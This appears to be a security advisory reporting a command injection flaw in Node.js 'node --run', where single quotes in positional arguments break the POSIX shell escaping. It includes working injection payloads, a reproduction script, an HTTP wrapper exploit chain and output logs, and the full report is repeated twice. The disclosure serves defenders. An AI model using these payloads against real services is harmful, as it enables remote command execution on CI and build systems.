Description
#
## Summary
Node.js `node --run <script> -- <args>` attempts to append positional arguments to a package script after escaping each argument for the shell.
On POSIX platforms, the escaping logic handles single quotes incorrectly. A positional argument containing a single quote can break out of the intended quoted argument and inject additional shell syntax.
The attacker does not need to control `package.json` or the selected script. The demonstrated payload only controls one argument after `--`.
## Affected Versions
Confirmed vulnerable on Linux x64:
| Version | Result |
| --- | --- |
| v22.23.0 | Vulnerable |
| v24.17.0 | Vulnerable |
| v26.3.1 | Vulnerable |
`--run` was added in v22.0.0, so older versions that do not implement `--run` are not affected by this specific issue.
Windows was not tested.
## Attack Scenario
A service, CI bot, build wrapper, or developer tool invokes a trusted package script through Node's built-in task runner and forwards a user-controlled value as a positional argument:
```sh
node --run test -- "$user_controlled_pattern"
```
The application expects the value after `--` to be delivered to the package script as data, such as a test name, filename, glob, branch name, or filter string.
An attacker supplies a value containing a single quote and shell metacharacters. Node's task runner incorrectly escapes the argument, causing the shell to execute attacker-controlled syntax as the user running `node --run`.
## Exploit Chain Scenario
The included exploit-chain PoC models a realistic wrapper that does not use a shell at the application boundary.
The wrapper exposes an HTTP endpoint that receives a user-controlled query value and invokes Node with an argv array:
```js
spawn(process.execPath, ['--run', 'search', '--', userInput], {
shell: false
});
```
The trusted package script is only:
```json
{
"scripts": {
"search": "node helper.js"
}
}
```
A safe request forwards `safe filter value` to `helper.js` and does not create the marker file.
An attack request forwards:
```text
SAFE_ARG'; printf "chain-owned" > "$CHAIN_MARKER"; #
```
Even though the wrapper used `shell: false`, Node's internal `--run` implementation converts the single argv element into shell syntax, truncates the helper argument to `SAFE_ARG\`, and executes the injected `printf` redirection.
## Why This Is Not Just Application Misuse
Package scripts themselves are shell commands, but Node exposes a separate documented boundary for arguments after `--`.
The Node.js CLI documentation says that arguments after `--` are appended to the script:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/doc/api/cli.md#L2632-L2675
Node's implementation also explicitly treats these values as positional arguments that need escaping before being appended:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/src/node_task_runner.cc#L54-L79
The vulnerability is that Node's own escaping function does not preserve the argument boundary for single quotes on POSIX. The caller may have correctly passed a single literal argv element to `node --run`, but Node converts that argv element into shell syntax.
## Root Cause Code Evidence
`ProcessRunner` appends positional arguments by concatenating `EscapeShell(arg)` into a command string that is later passed to the shell with `-c`:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/src/node_task_runner.cc#L54-L79
The POSIX branch of `EscapeShell()` wraps the argument in single quotes, but replaces embedded single quotes with `\'`:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/src/node_task_runner.cc#L173-L182
In POSIX shell syntax, a single quote cannot be escaped with backslash while inside single quotes. The resulting command string allows an embedded single quote to close the quoted argument.
Current tests cover spaces and double quotes in positional arguments, but not single quotes:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/test/parallel/test-node-run.js#L143-L157
## Proof of Concept
The PoC creates a temporary package with a harmless script:
```json
{
"scripts": {
"show": "printf \"received:%s\\n\""
}
}
```
It then invokes:
```sh
node --run show -- "SAFE_ARG'; printf \"command-injection\" > \"$NODE_RUN_POC_MARKER\"; #"
```
Expected safe behavior:
The complete payload is passed as one literal positional argument and no marker file is created.
Actual behavior:
The shell executes the injected `printf` redirection and creates the marker file.
## Command Execution Proof
A second PoC uses the same bug to execute `whoami`:
```text
SAFE_ARG'; whoami > "$NODE_RUN_COMMAND_OUTPUT"; #
```
Output from v26.3.1:
```json
{
"nodeVersion": "v26.3.1",
"platform": "linux",
"arch": "x64",
"proof": "whoami command execution through node --run positional argument shell injection",
"vulnerable": true,
"payload": "SAFE_ARG'; whoami > \"$NODE_RUN_COMMAND_OUTPUT\"; #",
"command": "whoami",
"commandOutput": "root",
"commandOutputCreated": true,
"childExitCode": 0,
"stdout": "received:SAFE_ARG\\\n",
"stderr": ""
}
```
This shows arbitrary shell command execution as the operating-system user running the Node.js process. In a remotely reachable wrapper or CI service that forwards attacker-controlled input to `node --run ... --`, this becomes remote command execution in that service context.
## Relevant Output
From v26.3.1:
```json
{
"nodeVersion": "v26.3.1",
"platform": "linux",
"arch": "x64",
"feature": "node --run positional argument forwarding",
"vulnerable": true,
"markerCreated": true,
"markerContent": "command-injection",
"childExitCode": 0,
"stdout": "received:SAFE_ARG\\\n",
"stderr": "",
"payload": "SAFE_ARG'; printf \"command-injection\" > \"$NODE_RUN_POC_MARKER\"; #"
}
```
Raw outputs are included as attachments:
* `node-v22.23.0-output.json`
* `node-v24.17.0-output.json`
* `node-v26.3.1-output.json`
* `node-v26.3.1-whoami-output.json`
* `node-v22.23.0-http-wrapper-chain-output.json`
* `node-v24.17.0-http-wrapper-chain-output.json`
* `node-v26.3.1-http-wrapper-chain-output.json`
Exploit-chain output from v26.3.1:
```json
{
"nodeVersion": "v26.3.1",
"exploitChain": "remote HTTP input -> safe argv spawn wrapper -> node --run positional argument -> shell command injection",
"vulnerable": true,
"safeRequest": {
"markerCreated": false,
"helperObserved": {
"argv": [
"safe filter value"
]
}
},
"attackRequest": {
"markerCreated": true,
"markerContent": "chain-owned",
"helperObserved": {
"argv": [
"SAFE_ARG\\"
]
},
"childExitCode": 0,
"stderr": ""
}
}
```
## Manual Reproduction
Run on a POSIX system with an affected Node.js version:
```sh
WORKDIR="$(mktemp -d)"
cd "$WORKDIR"
cat > package.json <<'JSON'
{"scripts":{"show":"printf \"received:%s\\n\""}}
JSON
export NODE_RUN_POC_MARKER="$WORKDIR/command-executed.txt"
PAYLOAD="SAFE_ARG'; printf \"command-injection\" > \"\$NODE_RUN_POC_MARKER\"; #"
node --run show -- "$PAYLOAD"
cat "$NODE_RUN_POC_MARKER"
```
Vulnerable output:
```text
received:SAFE_ARG\
command-injection
```
The second line is printed by `cat` reading the marker file created by injected shell syntax.
## Mitigation / Workaround
Applications should avoid forwarding untrusted values to `node --run` until this is fixed.
If forwarding untrusted values is required, avoid `node --run` and invoke a trusted executable directly with an argv array through `child_process.spawn()` or equivalent APIs that do not concatenate arguments into a shell command string.
## Patch Direction
The upstream fix should ensure that positional arguments after `--` cannot alter shell syntax when appended to the package script.
Possible directions include using a correct POSIX single-quote escaping strategy, or changing the invocation model so positional arguments are passed as shell positional parameters rather than concatenated into the script string.
The final upstream fix may choose a different implementation.
## Impact
##
This is command injection in the `node --run` positional argument forwarding boundary on POSIX.
This is especially security-relevant because the application boundary may use child_process.spawn() with an argv array and shell: false; the shell interpretation is introduced later by Node's internal --run task runner.
Impact depends on the privileges of the process invoking Node. In CI, build automation, internal web tooling, or wrapper services, this can become remote code execution as the account running the job.
The strongest impact occurs when the attacker can influence an argument after `--` but cannot otherwise control the package script or the shell command being executed.
## Summary
Node.js `node --run <script> -- <args>` attempts to append positional arguments to a package script after escaping each argument for the shell.
On POSIX platforms, the escaping logic handles single quotes incorrectly. A positional argument containing a single quote can break out of the intended quoted argument and inject additional shell syntax.
The attacker does not need to control `package.json` or the selected script. The demonstrated payload only controls one argument after `--`.
## Affected Versions
Confirmed vulnerable on Linux x64:
| Version | Result |
| --- | --- |
| v22.23.0 | Vulnerable |
| v24.17.0 | Vulnerable |
| v26.3.1 | Vulnerable |
`--run` was added in v22.0.0, so older versions that do not implement `--run` are not affected by this specific issue.
Windows was not tested.
## Attack Scenario
A service, CI bot, build wrapper, or developer tool invokes a trusted package script through Node's built-in task runner and forwards a user-controlled value as a positional argument:
```sh
node --run test -- "$user_controlled_pattern"
```
The application expects the value after `--` to be delivered to the package script as data, such as a test name, filename, glob, branch name, or filter string.
An attacker supplies a value containing a single quote and shell metacharacters. Node's task runner incorrectly escapes the argument, causing the shell to execute attacker-controlled syntax as the user running `node --run`.
## Exploit Chain Scenario
The included exploit-chain PoC models a realistic wrapper that does not use a shell at the application boundary.
The wrapper exposes an HTTP endpoint that receives a user-controlled query value and invokes Node with an argv array:
```js
spawn(process.execPath, ['--run', 'search', '--', userInput], {
shell: false
});
```
The trusted package script is only:
```json
{
"scripts": {
"search": "node helper.js"
}
}
```
A safe request forwards `safe filter value` to `helper.js` and does not create the marker file.
An attack request forwards:
```text
SAFE_ARG'; printf "chain-owned" > "$CHAIN_MARKER"; #
```
Even though the wrapper used `shell: false`, Node's internal `--run` implementation converts the single argv element into shell syntax, truncates the helper argument to `SAFE_ARG\`, and executes the injected `printf` redirection.
## Why This Is Not Just Application Misuse
Package scripts themselves are shell commands, but Node exposes a separate documented boundary for arguments after `--`.
The Node.js CLI documentation says that arguments after `--` are appended to the script:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/doc/api/cli.md#L2632-L2675
Node's implementation also explicitly treats these values as positional arguments that need escaping before being appended:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/src/node_task_runner.cc#L54-L79
The vulnerability is that Node's own escaping function does not preserve the argument boundary for single quotes on POSIX. The caller may have correctly passed a single literal argv element to `node --run`, but Node converts that argv element into shell syntax.
## Root Cause Code Evidence
`ProcessRunner` appends positional arguments by concatenating `EscapeShell(arg)` into a command string that is later passed to the shell with `-c`:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/src/node_task_runner.cc#L54-L79
The POSIX branch of `EscapeShell()` wraps the argument in single quotes, but replaces embedded single quotes with `\'`:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/src/node_task_runner.cc#L173-L182
In POSIX shell syntax, a single quote cannot be escaped with backslash while inside single quotes. The resulting command string allows an embedded single quote to close the quoted argument.
Current tests cover spaces and double quotes in positional arguments, but not single quotes:
https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/test/parallel/test-node-run.js#L143-L157
## Proof of Concept
The PoC creates a temporary package with a harmless script:
```json
{
"scripts": {
"show": "printf \"received:%s\\n\""
}
}
```
It then invokes:
```sh
node --run show -- "SAFE_ARG'; printf \"command-injection\" > \"$NODE_RUN_POC_MARKER\"; #"
```
Expected safe behavior:
The complete payload is passed as one literal positional argument and no marker file is created.
Actual behavior:
The shell executes the injected `printf` redirection and creates the marker file.
## Command Execution Proof
A second PoC uses the same bug to execute `whoami`:
```text
SAFE_ARG'; whoami > "$NODE_RUN_COMMAND_OUTPUT"; #
```
Output from v26.3.1:
```json
{
"nodeVersion": "v26.3.1",
"platform": "linux",
"arch": "x64",
"proof": "whoami command execution through node --run positional argument shell injection",
"vulnerable": true,
"payload": "SAFE_ARG'; whoami > \"$NODE_RUN_COMMAND_OUTPUT\"; #",
"command": "whoami",
"commandOutput": "root",
"commandOutputCreated": true,
"childExitCode": 0,
"stdout": "received:SAFE_ARG\\\n",
"stderr": ""
}
```
This shows arbitrary shell command execution as the operating-system user running the Node.js process. In a remotely reachable wrapper or CI service that forwards attacker-controlled input to `node --run ... --`, this becomes remote command execution in that service context.
## Relevant Output
From v26.3.1:
```json
{
"nodeVersion": "v26.3.1",
"platform": "linux",
"arch": "x64",
"feature": "node --run positional argument forwarding",
"vulnerable": true,
"markerCreated": true,
"markerContent": "command-injection",
"childExitCode": 0,
"stdout": "received:SAFE_ARG\\\n",
"stderr": "",
"payload": "SAFE_ARG'; printf \"command-injection\" > \"$NODE_RUN_POC_MARKER\"; #"
}
```
Raw outputs are included as attachments:
* `node-v22.23.0-output.json`
* `node-v24.17.0-output.json`
* `node-v26.3.1-output.json`
* `node-v26.3.1-whoami-output.json`
* `node-v22.23.0-http-wrapper-chain-output.json`
* `node-v24.17.0-http-wrapper-chain-output.json`
* `node-v26.3.1-http-wrapper-chain-output.json`
Exploit-chain output from v26.3.1:
```json
{
"nodeVersion": "v26.3.1",
"exploitChain": "remote HTTP input -> safe argv spawn wrapper -> node --run positional argument -> shell command injection",
"vulnerable": true,
"safeRequest": {
"markerCreated": false,
"helperObserved": {
"argv": [
"safe filter value"
]
}
},
"attackRequest": {
"markerCreated": true,
"markerContent": "chain-owned",
"helperObserved": {
"argv": [
"SAFE_ARG\\"
]
},
"childExitCode": 0,
"stderr": ""
}
}
```
## Manual Reproduction
Run on a POSIX system with an affected Node.js version:
```sh
WORKDIR="$(mktemp -d)"
cd "$WORKDIR"
cat > package.json <<'JSON'
{"scripts":{"show":"printf \"received:%s\\n\""}}
JSON
export NODE_RUN_POC_MARKER="$WORKDIR/command-executed.txt"
PAYLOAD="SAFE_ARG'; printf \"command-injection\" > \"\$NODE_RUN_POC_MARKER\"; #"
node --run show -- "$PAYLOAD"
cat "$NODE_RUN_POC_MARKER"
```
Vulnerable output:
```text
received:SAFE_ARG\
command-injection
```
The second line is printed by `cat` reading the marker file created by injected shell syntax.
## Mitigation / Workaround
Applications should avoid forwarding untrusted values to `node --run` until this is fixed.
If forwarding untrusted values is required, avoid `node --run` and invoke a trusted executable directly with an argv array through `child_process.spawn()` or equivalent APIs that do not concatenate arguments into a shell command string.
## Patch Direction
The upstream fix should ensure that positional arguments after `--` cannot alter shell syntax when appended to the package script.
Possible directions include using a correct POSIX single-quote escaping strategy, or changing the invocation model so positional arguments are passed as shell positional parameters rather than concatenated into the script string.
The final upstream fix may choose a different implementation.
## Impact
##
This is command injection in the `node --run` positional argument forwarding boundary on POSIX.
This is especially security-relevant because the application boundary may use child_process.spawn() with an argv array and shell: false; the shell interpretation is introduced later by Node's internal --run task runner.
Impact depends on the privileges of the process invoking Node. In CI, build automation, internal web tooling, or wrapper services, this can become remote code execution as the account running the job.
The strongest impact occurs when the attacker can influence an argument after `--` but cannot otherwise control the package script or the shell command being executed.
Basic Information
ID
H1:3817602
Published
Jun 22, 2026 at 15:21
Modified
Jun 23, 2026 at 09:53